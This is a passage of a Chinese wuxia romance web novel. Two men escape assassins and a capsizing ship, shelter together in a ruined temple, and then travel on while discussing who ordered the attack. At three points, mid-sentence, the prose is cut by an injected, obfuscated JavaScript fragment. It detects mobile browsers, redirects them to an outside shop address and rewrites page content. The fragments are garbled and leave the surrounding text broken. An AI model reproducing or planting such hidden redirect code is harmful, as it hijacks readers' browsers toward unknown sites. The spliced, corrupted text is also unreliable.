只见往日里清冷雍容、温和淡雅的男人，此刻周身杀气凛冽，紫衣染血，白发在风中猎猎翻飞，孤身立在他前身，左手执短剑，右手长鞭卷起层层寒芒，以一敌三，进退从容，招式狠辣凌厉，丝毫不落下风。 三面皆有杀手步步紧逼，兵刃刁钻阴毒，可风随柳身形辗转腾挪，剑光纵横，一人死死压住三人攻势，孤绝又强悍，于火海夜色之中，宛如浴血修罗。 虚怀谷怔怔望着眼前那道挡住杀伐的背影，心头悸动未平，可变故陡生。不过数招缠斗，风随柳足下忽然微微一踉跄，身形微晃，攻势顿减。 有一刺客喊道：“他毒发了！我们并肩一起上！” 风随柳肩头衣袖之下，一道不易察觉的乌青毒素纹路正在悄然蔓延。方才混战之中，他不慎中招，染上了敌人的阴寒剧毒。按理说风随柳内力深厚，百毒难侵，但这毒不知为何发作极快，瞬间便游走经脉，四肢百骸渐渐泛起麻痹酸软之感，周身内力飞快流逝，招式不由滞涩几分。 局势瞬息逆转。 风随柳渐露败势。他咬牙强压毒性侵蚀，眸色冷冽如霜，拼尽残余气力，一剑刺穿一人心脉，又反手重创另一人胸腹，使其重伤倒地失去战力。但此时他也无力为继了。而青峰等一众心腹护卫皆被敌人死死缠在远处，分身乏术，根本无法抽身驰援。 虚怀谷看得大急。 此时那余下的最后一名刺客见状，眼中凶光大盛，抓住破绽，提刀暴起，携必死之势直冲风随柳后心而去。 只见那刀锋凛冽，避无可避。虚怀谷浑身血液仿佛都凝固住了，脑海中一片空白。 事后他怎么也回想不起当时自己是怎么做到的了，大概是仅凭本能吧。 在这千钧一发之际，他猛地纵身扑出，双臂张开，狠狠抱住毒发乏力、身形不稳的风随柳，然后借着冲力猛然往外侧就地翻滚，堪堪避开那致命一刀。 恰在此时，整艘楼船被江水暗流冲击，加之船底大破进水，重心彻底失衡，巨大船身猛然剧烈歪斜，木板断裂之声刺耳作响，船体缓缓向着江面一侧倾斜翻船。 天旋地转之间，虚怀谷死死抱紧怀中之人，顺着倾斜打滑的船板一路滚落，然后脚下一空，双双坠入冰冷汹涌的漆黑江水之中。 12. 第 12 章 江水寒冷刺骨，汹涌湍急，瞬间将二人冲散。 虚怀谷自幼长于江南水乡，熟谙水性，沉浮之间尚能稳住心神。可风随柳早已被剧毒侵入，经脉麻痹，意识渐渐模糊，往日里一身绝世武功也被尽数压制，四肢绵软无力，只能任由江水裹挟，缓缓向着幽深的江底沉去。 他覆面的面纱已被冰冷的江水冲落，露出一张俊美冷白、轮廓绝艳的面容。他双眸半阖，唇色因毒素泛着淡淡的乌紫，一头银色白发挣脱发带的束缚，顺着水流缓缓漾开，在江底摇曳沉浮。整个人如同一尊破碎的雕像，缓缓下沉。 难道当真要葬送在这江底？ 朦胧昏沉之间，窒息感不断袭来，风随柳意识游离，自幼年到少年再到成年后的无数回忆在心头飞速掠过。 他双眸将闭欲闭，就在快要彻底沉沦的瞬间，一道身影冲破浑浊的江水，义无反顾地向着已沉入幽深水底他潜游而来。 此时月亮突然冲破乌云，月光乍现，月色穿透层层水波，碎成点点银辉，温柔洒落。 虚怀谷一身长衫被江水浸透，发丝凌乱飘散，明明是一手无缚鸡之力的文弱书生，此刻却摒住气息，不惧暗流凶险，不顾一切朝着他奋力靠近。 是梦吗？ 风随柳有些恍惚地想。 直到一道清晰滚烫的温度隔着刺骨寒冷的江水将他紧紧攥住，风随柳心神骤回，倏然睁大双眼。 在这绝境寒江、生死一线的幽暗水底，虚怀谷逆着流水，只身奔赴，伸手牢牢攥住了他冰凉无力的手腕。 四面是幽暗冰冷的江水，上方是厮杀血腥的战火，下方是生死未卜的深渊。在这绝境之中，生死与共，孤绝相护，漫天的杀伐、倾覆的大船和冰冷的江水，尽数揉杂在一起，随着那人的身影一起狠狠撞入风随柳心底，化作浓烈汹涌的悸动。 “噗……咳咳……” 虚怀谷从后面紧紧抱住风随柳的腰，冲破冷冰的水面。寒江湍急，夜色如幕，刚才乍现的月色转瞬之间再度被乌云笼罩，仿佛方才那片刻的清辉，只是为了给他照明，帮他寻到那险些葬入幽深江底之人。 江水湍急而汹涌，还有暗流四下席卷，这般凶险的水势根本无法游动，二人只能勉力保持浮出水面，任由江水裹挟着，顺江而下。 虚怀谷双臂紧紧锢着身前之人，分毫不敢松懈，任由二人顷刻间被江水卷走，身后那艘残破倾覆的大船和刀光剑影的厮杀缠斗，皆被滔滔江水隔绝，遥遥落在了身后。 不知随波漂流了多久，虚怀谷的力气几乎耗尽，却一直竭尽全力让风随柳浮于水面，不让他溺于这寒江之中。 二人的发丝纠缠在一起，黑与白，在冷水中肆意缠绕，丝丝缕缕，难分彼此。直到虚怀谷感觉水势渐缓，耳畔浪声渐弱，朦胧的视野里望见远处出现成片茫茫的芦苇荡。虚怀谷心中大喜，骤然涌出一股力气，奋力揽着怀中之人，艰难地朝着江岸奋力游去。 “咳咳咳……” 虚怀谷匍匐在滩涂上，一边不住咳出腹内积水，一边踉踉跄跄、半拖半拽地将浑身湿透的风随柳拉到岸上。在二人终于倒在泥泞的陆地上的刹那，眩晕感铺天盖地的袭来，虚怀谷险些坚持不住，差点昏厥过去。 但此时已进入十一月，北风凛冽，寒意逼人，这个时候若是昏迷过去，二人恐怕性命难保。因此虚怀谷靠着强大的意志，竟硬生生将自己濒临涣散的神志拉回了几分。 他强撑着摇摇欲坠的身子爬了起来，小心翼翼地将风随柳缓缓翻转，指尖拨开对方紧闭的唇齿，用手用力按压其腹部，不停地低喊：“吐出来！柳随风，把肚子里的水都尽数吐出来！” 虚怀谷长于江南水乡，熟悉水性，也见过溺水之人如何挽救，因而动作沉稳有序，并不慌乱。 风随柳满头银丝凌乱地披散在周身，遮住了面颊，却能见其皮肤冷白，在月光下泛着莹莹玉光。他胸腹受外力按压，体内淤积的江水顺着口鼻缓缓溢出，还带着一丝江水的腥寒。 “噗……咳咳咳……” 过了好半晌，风随柳终于吐尽呛在胸口的积水，低声咳嗽起来，人也有了一些意识，气息缓缓回笼，长睫轻颤，手臂无力地动了动。 虚怀谷见状大喜，连忙轻声唤道：“你醒了？” 他伸手轻轻将人翻转过身，小心翼翼地帮他拂开脸上凌乱的湿发。柔和的月色穿破云层，淡淡地落了下来，眼前人的容色清清楚楚地展露眼前，不由让虚怀谷动作一顿，怔怔失神。 之前在江底救人时，水深幽暗，时间仓促，他于朦胧之中惊鸿一瞥，只隐约觉得风随柳肤白胜雪，容色清绝，面上并没有半分疤痕。此时近在咫尺，凝目细看，才惊觉此人竟如此年轻俊美，风华绝代。其容貌之盛，乃他生平仅见。 而且风随柳看上去年岁不大，至多比他年长两三岁的模样。 虚怀谷却不知，其实风随柳今年已经二十有八，比虚怀谷大了七岁有余。只是他自幼习武，内力深厚，加之风家绝学《逆风大法》不仅是世间难得的武功绝学，更有驻颜之效，常年修习可保容颜常驻，因此其容貌比实际显得年轻许多。其父风天翼早已年过五旬，看上去仍是三十几许的模样，便是同理。 虚怀谷被风随柳的容貌惊艳住，失神了片刻，很快便回过神来。他见风随柳昏昏沉沉，眉眼似乎又要闭上，心头一紧，连忙轻柔地拍打他的面颊，低声急切地唤道：“醒醒，柳随风，千万不要睡过去！醒醒！” 他二人皆是衣衫浸透，寒冷刺骨，再加上这种隆冬天气，一旦睡了过去，就算不冻死，也会寒邪侵体，落下终身难愈的顽疾。他们九死一生、好不容易才逃出险境，万万不能在这里丢了性命。 风随柳体内经脉淤塞，气息凌乱，但可能因为毒素尽数散入筋脉，反倒被周身流转的浑厚内力层层消解，四肢渐渐寻回了几分微弱的力气。他努力运转体内残存的内力，一边试着缓缓将毒素逼出，一边挣扎着将涣散的神志凝聚起来，清醒了几分。 他嗓音沙哑破碎，气息微弱地道：“我、我没睡……咳咳……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495544|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 虚怀谷环顾了一下四周，见四下荒野，周遭并无人烟，沉声道：“此地风大夜寒，我们衣衫尽湿，不宜久留。起来，我背你寻一避风处，我们需尽快点火取暖。” 风随柳勉力想要撑起身体，唇色惨白，低声挣扎道：“不必……我、我自己可以走……”语音未落，他已身子一软，踉跄着要栽倒地面。 虚怀谷连忙将人稳稳扶住，自己弯腰屈膝，微微用力，将他置于背上，语气笃定，不容拒绝地道：“你受了重伤，不要逞强。”说罢咬牙蓄力，将重伤虚弱的风随柳负于背上，一步一步，向着夜色深处行去。 二人深一脚浅一脚地穿过树林，终于寻到一座破败的山庙。庙宇断壁残垣，木门腐朽，却恰好能隔绝屋外呼啸而过的寒风。 虚怀谷寻来一些枯枝，从怀中掏出用油布藏好的火石。微弱的星火缓缓燃起，在破庙的墙角处跳动摇曳，稍稍驱散了周身的寒凉。 此时二人皆是浑身冻得发僵，唇色泛白。无奈荒郊野外也无多余衣物可以更换，只得褪去湿透的外衫，借着篝火暖意烘烤衣料。奈何这冬夜寒气无孔不入，破庙残败，四下漏风，篝火这些微暖意，实在有些杯水车薪了。 风随柳见虚怀谷仍穿着最里层那湿透的贴身亵衣，双臂环着身子，坐在篝火旁瑟瑟发抖，便哑着嗓声缓缓开口：“把里衣也脱了，过来，一同取暖。” 他说得含糊，但动作却不含糊，微微挺身，便将自己身上的内层衣衫也尽数褪去，只余一条白色亵裤。 虚怀谷身形微僵，背对着风随柳，完全不敢回头去看他那裸露的身躯，心头更是思绪纷乱。 “阿嚏——阿嚏——阿嚏——” 他原还想再坚持一下，但一连三个喷嚏，鼻塞沉堵，四肢发僵，甚至能感觉寒气正顺着肌理钻进自己的五脏六腑。他顿时惊出一身冷汗。这般时节，又是荒郊野外，一旦染了风寒，后果当真不堪设想。 事已至此，再多体面规矩也抵不过活命要紧了。虚怀谷本就性情通透，并不迂腐，也不拘泥于繁文缛节，当下不再执拗，干脆利落地褪去湿透的里衣，寻来枯枝将湿衣尽数悬挂在四周，这样既能遮挡夜风，也能借篝火余温慢慢烘干。 他转身缓缓靠了过去，与风随柳一起蜷缩于破庙挡风的角落里，身前篝火摇曳，他看也不敢看向身侧之人。正紧张之时，忽觉手臂一紧，被一微凉的手掌的握住。 “你做什么？”虚怀谷身形微僵，浑身绷得笔直，整个人又是紧张又是羞赧，耳根悄然染上一层浅红。 风随柳声线低柔，带着几分夜寒浸出的轻哑：“靠过来些，与我……相偎取暖。” 其实虚怀谷心里何尝不明白，这般凛冽的寒夜，唯有肌肤相贴、彼此依偎，才能抵御刺骨的冷风。 他心里几番挣扎，终究抵不过眼前的境况，为了熬过这寒夜，只得缓缓挪动身子，慢慢向风随柳靠去。 二人肌肤相触，彼此都是微微一颤，一股陌生又灼热的暖意，顺着相贴的皮肤悄然蔓延。 13.第 13 章 这是二人都从未体会过的感觉。 风随柳垂眸，心底涌出一股羞怯之意，只是望着那比他更局促紧张、眉眼含羞之人，只得强自镇定罢了。他的心底莫名荡出一抹轻轻的悸动，语气低沉，带着几分不易察觉的羞赧，开口道：“我深受重伤，浑身无力。你……你来抱住我……” 说到此处，这素来清冷孤绝之人，竟也轻轻垂下了眼睫，长睫轻颤，掩去了眸间的窘迫与羞意。 他生来清冷孤高，别说与旁人这般肌肤相贴，便是有幸窥见他面纱之下真容的人，这世间也是寥寥无几。 虚怀谷面色涨得通红，刚才还觉得夜风寒冷，肌肤冰凉，此刻却觉得浑身燃着一簇火焰，二人相贴之处更是肌肤滚烫灼热，竟将寒夜的幽冷都驱散殆尽了。 他背靠墙壁，将风随柳揽入怀中，双臂环至其胸前，犹豫不定之际，却被风随柳轻轻握住手腕，缓缓拉了下来，覆于自己身前。 虚怀谷只觉得脑子晕乎乎的，浑身燥热难看。幸好风随柳倚在他怀里，无法回目相望，这才稍稍松了口气。 二人这般赤身相拥，寒意渐渐消散。篝火时不时发出噼啪之声，火光摇曳间，映得破庙内都添了几分暖意，庙外的北风呼啸之声似乎也弱了许多。 一股静谧温馨、又萦绕着几分暧昧滚烫的情愫，在二人心底悄然蔓延。 虚怀谷抱着风随柳，渐渐觉得怀中似抱着一尊温热的玉佛。这人发如霜雪，自脖颈往下，肌肤也是莹白如玉，容貌更是生平仅见的俊美无俦……再想到他在船上以一敌十、所向披靡的强悍飒爽模样，这般绝世人物，此刻竟安然伏于自己怀中，当真如坠幻梦，不似真实。 不知过了多久，虚怀谷渐渐有些昏沉，正欲沉沉睡去，却突然感觉怀中人剧烈颤抖起来。他刚抬起头，便见风随柳挣出了他的怀抱，向外俯身，“噗——”地一声，呕出一口黑浊的乌血。 虚怀谷大惊失色，急声道：“你这是怎么了？” 风随柳微抬手腕，示意他莫要慌张，指尖轻轻擦拭了唇角的血迹，淡声道：“无妨，不过是在散功驱毒罢了。” “这、这如何使得？”虚怀谷手足无措，一时不知该如何是好。 风随柳重又倒回他怀中，阖上双眸，似在闭目调息，语气温缓，柔声道：“莫慌，毒血吐出来，反倒是幸事。” “哦哦。”虚怀谷也不懂，只是把他往自己怀里抱得更紧。 如此这一夜，风随柳又吐了两次血。每一次血中的黑浊之色都淡了几分，到最后终于变成了深红色，风随柳原本惨白的脸色，也渐渐变成相对正常的莹白。只是虚怀谷没有留意到，风随柳那满头霜雪发丝，竟从发根处悄然开始泛黑，那墨色随着他散功愈甚，蔓延得也愈快。 风家所修《逆风大法》，顾名思义，乃是一种经脉逆行走气之术。这世间没有任何武功能真正做到百毒不侵，但此功却有一绝学，便是遇到暂时无解的剧毒时，可凭散功驱毒，令毒素随经脉正向流转而出，以此保命。但其代价便是功力尽失，唯有借另一门武功绝学，并配合某种金针秘法，方能徐徐恢复。 风家人满头白发，皆因修习《逆风大法》所致，此刻他散功驱毒，发色自然渐渐回归常人的模样。 虚怀谷不知其中奥妙。他夜半起身时查看烘烤的衣衫，见多半已干，便取了一件覆于风随柳身上，自己胡乱裹了一件内衫，又寻来一些干枝枯叶，将篝火添得愈旺，而后才折返回来，继续抱着风随柳依偎取暖。之后许是这一夜实在奔波劳顿，他终是抵不住困意，沉沉睡去。 风随柳虽然闭着双眸，却始终在运功调息。到了天色破晓将明时，他体内的功力已然散去了七八成，毒性也驱逐了大半，剩下的徐徐图之，不再有性命之忧。 他微微侧头，望着身后环拥着自己、脸颊垂于他肩侧的俊美青年，心底忽的一动。 他清晰地意识到了自己情感上的变化——此人于他，将不再是寻常路人…… 他缓缓凑近，不知不觉间，二人唇瓣仅一线之隔，温热的气息彼此交缠。风随柳凝望着虚怀谷熟睡的容颜，眼神渐渐变化，似有什么汹涌的情绪在眼底深处涌动。 恰在此时，虚怀谷突然动了动，风随柳立刻神色回归淡然，状若无事地将脸缓缓转了回去。 虚怀谷睁开眼，尚有几分睡意惺忪。他迷迷糊糊地望了过来，却是神志一呆。只见怀中之人容色清绝，耳畔微微泛着霞云，那红晕似乎还有顺着修长的脖颈往下缓缓蔓延的趋势。 虚怀谷被这近在咫尺的美色晃了神，自己的脸色不由也开始泛红，连忙动了动身。 呃…… 风随柳和虚怀谷二人同时一僵。 怎么说呢。二人皆是男子，这晨晓时分的自身异动，自不必多言。 懂！都懂！ 只是二人衣衫不整，肌肤相贴，这尴尬之意，顷刻间便漫遍了整座破庙。 虚怀谷恨不得挖个地洞钻下去。风随柳也是一时语塞，不知该如何打破这尴尬局面。 “咳……” 二人尴尬了片刻，还是虚怀谷硬着头皮轻咳了一声，正要说话，目光却骤然顿住。他突然发现怀中之人满头青丝垂落，还有几缕缠绕于他臂间。那发丝乌黑柔亮，与常人无有不同。 虚怀谷顿时傻眼，结结巴巴地道：“你、你的头发……” 风随柳低头看去，随手拾起一缕，将那乌黑发丝在自己修长白皙的指腹间缠绕了两圈，漫不经心地道：“只是恢复成常人之色罢了。” 虚怀谷不懂，但莫名觉得厉害。这般功法，竟能令黑发变霜白，又能于散功之后恢复本色，当真是绝世奇功。 此时二人仍相拥相贴，虚怀谷还鼎着风随柳，连忙收起胡思乱想，尴尬起身，胡乱裹好衣衫，为了掩饰自己的失态，急急忙忙地道：“我、我收拾一下。” 风随柳盘腿坐在原地，慢条斯理地将原本覆盖在身上的衣衫穿戴整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507916|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐。 此时篝火将熄，虚怀谷连忙添了些干柴，又将衣衫尽数收起，先将风随柳的衣物递去，才转身穿起自己的衣衫。 这时他才惊觉，昨夜篝火昏暗，自己身上所穿的内衫质量上乘，丝滑柔软，竟然不是他自己的。不用想也知道，必定是错穿了风随柳的。他连忙回头，张口想要说什么，却见风随柳已经套好了外袍，正抬手整理着衣襟。 虚怀谷张了张嘴，最终还是闭上了嘴，面色通红地将身上的内衫紧紧套好，穿上了外袍。 “阿嚏——”虚怀谷衣衫刚整理妥当，便打了个喷嚏，鼻尖微红。 风随柳抬眸：“你过来。” 虚怀谷乖乖地走过去。 风随柳示意他屈膝蹲下，沉声道：“把手给我。” “啊？”虚怀谷有些疑惑，却还是依言把手递了过去。 风随柳道：“我给你诊脉。” “你、你竟会医术？”虚怀谷惊诧。 “略通皮毛。”风随柳言罢，便将指尖轻轻搭在他的腕间，凝神诊脉片刻，缓缓道：“你寒邪入体，需得赶紧找个地方安顿下来，寻些草药服下，方能无恙。” 虚怀谷也觉得脑袋有些昏沉沉的，但还能支撑，便点点头，又关切地道：“你也需要好好看看伤势才是。” 风随柳左肩有道伤口，应是昨夜被利器划伤的，之前在江中沉浮良久，伤口已经泡得发白。但好在只是皮外伤，伤口不深，他们到庙里歇脚时便已不流血了。昨夜风随柳意识稍微恢复后，便即刻让让虚怀谷取了他怀中的药瓶，敷上了金创药，今早瞧着，已经愈合了四五分。 风随柳随身携带了数个精致小巧的药瓶，皆是其父柳冥为他准备的。柳冥医术冠绝天下，江湖人称鬼医，行踪诡秘，医毒双绝。他给亲生儿子准备的药，自是非同凡响，乃世间顶尖的珍品。 他们随身携带的物品，虚怀谷昨夜都尽数掏出来放在了脚边。风随柳从中拣出一瓶，倒出一粒丹药吞下。然后突然想起，又取过另外一瓶，倒出一粒碧色的药丸，递给虚怀谷道：“服下。” 虚怀谷接过药丸，有些疑惑地问：“这是什么药？” 风随柳道：“不用担心，于你有益无害。” 他没有过多解释。实则这是一粒极为珍贵、有起死回生之效的回春丹，多少人手捧万金都求之不得。昨夜风随柳身陷绝境、九死一生，都没舍得服用，此时却毫不犹豫地给了虚怀谷。只因虚怀谷在他心里乃是一手无缚鸡之力的文弱书生，他没有半分内力，又身染风寒，风随柳担忧这荒郊野外找不到医馆，会误了他的病情。 寒邪入体，于虚怀谷这般文弱之人而言，稍有不慎，便可能会一命呜呼。 虚怀谷不知风随柳的担忧，也不懂这枚药丸的珍贵，只当是寻常的驱寒之药，依言服下。药丸甫一入口，一股清冽的药香便顺着咽喉落入体内，顷刻间，便有一股暖流淌遍四肢百骸，先前的昏沉寒意，竟消散了大半。 14.第 14 章 二人服下丹药，仔细穿戴好衣袍，将随身物品一一收拾妥当，便准备离开这处破败不堪的山神庙。 风随柳随身携带的那柄短剑，早已在落水时遗失在汹涌的江水之中，唯有他惯用的那柄长鞭当时被他紧紧缠于臂间，一路漂流沉浮都未曾落下。此时他便抬手将长鞭重新缠绕起来，仔细置于臂间，再轻轻放下衣袍袖摆，将其不露半分痕迹。 只是他常年以面纱遮面，此时脸上没了那层薄纱遮掩，一时倒有些不自在，指尖下意识地轻触脸颊，然后收回手，强装淡然地抬步向外走去，眼底有着一丝不易察觉的局促。 二人离开破庙，辨别了一下方向，便一路往北而行。约莫走了一个多时辰，才远远望见一处散落的村落。虚怀谷怀中恰好带着些碎银，便上前与村民交涉，找了户人家落脚，换了些热食。一番狼吞虎咽饱餐过后，向村民细细打听，才知此处是离玉阳极为偏远的一处乡村。原来那日他们被江水裹挟着顺流而下，竟意外漂入了一条支流，最终被支流的水流卷带离了原先的路线。 村民皆是淳朴之人，餐食虽然简单粗陋，却特意为他们杀了一只土鸡，炖得香气扑鼻。虚怀谷不知是否是服用了那枚丹药的缘故，只觉浑身轻快，充满力气，这一上午赶路竟半点不觉得疲惫，反倒精神抖擞，步履矫健有力。此刻面前虽然是粗茶淡饭，他也吃得格外香甜。他原本还暗自担心风随柳出身不凡，会嫌弃这般粗陋的吃食，谁知风随柳神色淡然，毫无半分嫌弃之意，举止依旧优雅从容，举箸间不疾不徐，竟也吃了不少。 二人用完饭，又向村民换了些干粮和两套干净普通的衣衫。虚怀谷的也就罢了，风随柳原本的衣衫实在过于精致华贵，于他们逃难路上太过显眼。 二人换了衣物，虚怀谷又掏出全身仅有的一些碎银，与村民置换了一辆驴车——马车是没有的，牛车是珍贵之物，村民不会变卖，最重要的是虚怀谷身上的银子不够置换牛车的。 那卖他们驴车的村民送他们出村，指着一条蜿蜒小道，热心叮嘱道：“沿着这条小道一直往北走，约莫一个时辰的路程，便是咱们这一带最大的城镇了，你们到了那里，也好寻个落脚之处。” “多谢。”虚怀谷作揖道谢。 待村民走远，虚怀谷与风随柳也赶着驴车上路了。说是车，其实没有车厢，后面只是一个板车，二人只能同坐车辕上。虚怀谷一边赶车，一边与风随柳道：“咱们此刻动身前往那城镇，傍晚时分应当便能抵达，到时候还能找家客栈歇脚，也好再作打算。” 风随柳望着四周荒野，缓缓道：“我神冥教在玉阳设有堂口。昨夜之事只要消息传开，教中之人必定会四处寻我，但与此同时，那些刺客也绝不会善罢甘休，定然也在追查我的踪迹。” 此时恰逢时机，虚怀谷连忙追问：“昨夜到底发生了什么？那些刺客究竟是什么来头？为何要对你痛下杀手？” 风随柳沉默了片刻，并未立刻回答。神冥教教主历代皆有四大护卫，多以紫、青、蓝、红、黄、橙、绿等颜色命名，皆是从少教主年少时期便开始悉心培养，陪着少教主一同长大。他作为这一代神冥教的继承人，自少年时身边便有了四大护卫，分别是红岩、紫岚、青峰与黄岫。 这次出门办事，他将紫岚留在了总舵，帮自己代为打理部分教务。身边只带了红岩、青峰和黄岫三人。先前在芜城时，他让柳慕风留下继续查案，特意将红岩派去护其左右。虽说柳慕风也有自己的护卫，可他这个做亲哥哥的终究放心不下，便将武功最强的红岩留了下来，自己身边只余下青峰和黄岫。 黄岫轻功绝佳，最擅易容之术与探听消息，只是武功却一般。有时他换了装束，如果不刻意相认，便是风随柳也难以辨别。昨夜在船上，风随柳并未见到他的身影，想来他是按照以往的习惯隐藏在暗处御敌。风随柳心中并不担心黄岫的安危，那小子素来机灵狡诈，水性更是绝佳，便是旁人都遭了难，他也能寻得生机，顺利逃脱。反倒是青峰不知下落如何，让他有些担心。他料想，若是黄岫得以逃脱，必定会第一时间赶往最近的神冥教堂口求援。 此刻二人沿着小路去往城镇，一路四下无人，又饱食一餐，精神好转，难得有片刻安稳，他终于得以静下心来梳理此事的脉络。 其实经过一夜的辗转思索，他对这番变故的来龙去脉已然有了大致的猜想，于是缓缓抬眸，对虚怀谷娓娓道来：“实不相瞒，我本姓风，本名风随柳。自今年入夏以来，我教在外行走的执事，便接连遭遇三起与洪老板相似的意外变故。我曾派人多方探查，却始终一无所获，毫无头绪。因此此次洪老板失踪，我才决意亲自出马，带人赶往范州城查探究竟。” “在范州城内，我查到此事乃是江湖上某门派与当地官府势力暗中勾结，蓄意狙击我教商路，专做杀人截货的勾当。我带人解决了那股官府势力后，便去追踪那江湖门派的踪迹，一路追到了芜城。芜城有个常家庄，立足江湖多年，根基深厚，在武林中颇有声望与地位。我寻得一些蛛丝马迹，发现此事似乎与常家庄脱不了干系。于是我便找了个由头，登门拜访常庄主，当面质询此事。” 说到此处，风随柳微微停顿，指尖轻轻摸索着车辕处，眉宇微蹙，似在反复思索推敲其中的疑点。虚怀谷见状，不敢贸然打搅，只继续赶车，凝神细听。 片刻之后，风随柳才再度开口，一边仔细回忆，一边一字一句斟酌道：“当时常庄主神色惊诧，矢口否认此事，还直言常家庄从未有过与神冥教为敌的念头。为了自证清白，他主动请缨，愿意协助我教一同调查此事。我见他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507917|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神色坦荡，不似作伪，便与他定下约定，随后便离开了常家庄。只是人心隔肚皮，我终究不能全然轻信于他，便让慕风带人留在芜城，继续暗中探查。如今慕风那里还没有消息传来，昨夜我们却遭遇了刺客的突袭。那些人显然是蓄谋已久，设下了重重陷阱，目的便是将我等人一网打尽，斩草除根。” 说到这里，他再度陷入沉默，眉头紧锁，凝神思索着其中的蹊跷之处。 虚怀谷按捺不住心中的疑惑，忍不住轻声问道：“这么说来，你怀疑此事与常家庄有关？” 风随柳缓缓摇头，语气凝重：“我尚无法确定。只是我的行程极为隐秘，除了此行核心之人，无人知晓，唯有常家庄这芜城的‘地头蛇’，才有能力打探到我的行踪一二。况且，我们的商船在码头停靠后，曾上岸到官府处办理过登记备档，官府中的人，也有可能根据我教以往的行程，推测出我们此次的路线。” 那些刺客行事周密，出手狠辣，显然是有备而来，绝非一时兴起的贸然之举。 风随柳心中隐隐觉得，暗中似乎有一双无形的眼睛，早已窥视神冥教许久，只是一直隐藏在暗处，未曾显露踪迹。 虚怀谷又追问道：“那你昨日是如何中毒的？我看你身手不凡，寻常毒药应当伤不了你才是。” 风随柳脸上也露出几分疑惑，道：“这也正是我心中的不解之处。我修习的《逆风大法》，虽说算不上百毒不侵，却也能抵御寻常剧毒，即便中了毒，也能凭内力压制。可昨夜，我却突然经脉受阻，毒素顺着经脉飞速蔓延，体内内力竟半点也无法调动，更别说压制毒素了。” 他心中暗忖，这种毒，恐怕是专门针对他们风家的《逆风大法》炼制而成。 据他所知，他的父亲风天翼约莫在三十年前，也曾中过类似的毒，当年也是靠着散功驱毒，才勉强保住了性命。后来若不是他爹爹柳冥以神冥教另一门绝学《静心诀》，辅以金针秘法，日日为他父亲调息疗养，助他恢复武功，只怕他父亲毕生的修为将折损大半。 这也是风随柳昨夜散功之后，依旧能保持镇定的原因——只要能找到他爹爹柳冥，便能借助《静心诀》与金针秘法，帮他恢复武功。只是他爹爹常年隐居在灵隐谷，与此处相隔甚远，他眼下必须先返回神教，将刺客的隐患解决，再动身前往灵隐谷寻他爹爹。 他与虚怀谷一边赶路，一边分析此事的前因后果。 经过昨夜的患难与共，再加上心底悄然生出的那丝情愫，风随柳对虚怀谷已卸下了所有防备，将他视作亲近之人，因而并未有任何隐藏，将自己心中的所有揣测也一一道出。 虚怀谷不懂江湖事务，但此刻他已经卷入其中，无法置身事外，便细细聆听，眉眼间尽是担忧在意，只盼能为风随柳分担一二。 15.第 15 章 二人边赶路边说话，不知不觉间便行至了那村民所说的小镇。 进入镇子，虚怀谷四处打听，才知此地竟无银号票庄可兑换银票，不由面露难色，转头看向风随柳，小声问道：“你身上可有现银？我随身所带的碎银已然不多，余下尽是银票，此处无从兑换。” 昨夜船上生变、情势危急，落水时身上若带太多银两的话容易沉水，所以虚怀谷当时只将所有银票用油布层层裹好，贴身藏入在怀中，行囊里的银子却是没有带的。上午他俩在山村落脚所用的那几两碎银，还是他素来谨慎，早早暗缝在腰带里以备不时之需的，统共不过四五两，买了驴车后便所剩无几。 风随柳摸了摸周身，最后从怀中掏出一物，递给虚怀谷，温声道：“我刚才看见镇上有当铺。把这个拿去当了吧。” 却是那枚他一直随身携带的墨绿玉环。玉环玉质莹润，在傍晚的天光下泛着柔和的水色，触手温凉。 虚怀谷虽不通玉料，却也看得出这玉环质地绝佳，绝非俗物，当即眉头蹙起，道：“罢了罢了，还是用我的银票吧。这等珍品，在这小镇的当铺里定然会被掌柜压价，况且咱们未必能回来赎取，当掉太亏了。” 银票皆是五十两起步，他身上携带的银票虽多，但这偏远小镇没有钱庄，兑换起来损耗极大，掌柜定然会狠压折扣。但即便如此，他也舍不得让风随柳把这般珍品拿去死当。何况自相识以来，风随柳多数时间都佩戴着此玉环，可见是他心头所爱之物。 风随柳望着他蹙起的眉尖，眼底掠过一抹暖意，安抚道：“无妨，不过是枚玉环罢了，死当即可。” “不可不可，如此珍品，死当可惜了。”虚怀谷连忙摆手。 风随柳道：“此去玉阳路途遥远，总不能一路都由你来花销。我原承诺过你只要打理商路即可，其余江湖琐事，皆由我教会一力承担。如今却将你牵连进来，险些丧命黄泉，已是食言在先，怎能再让你一路破费。” 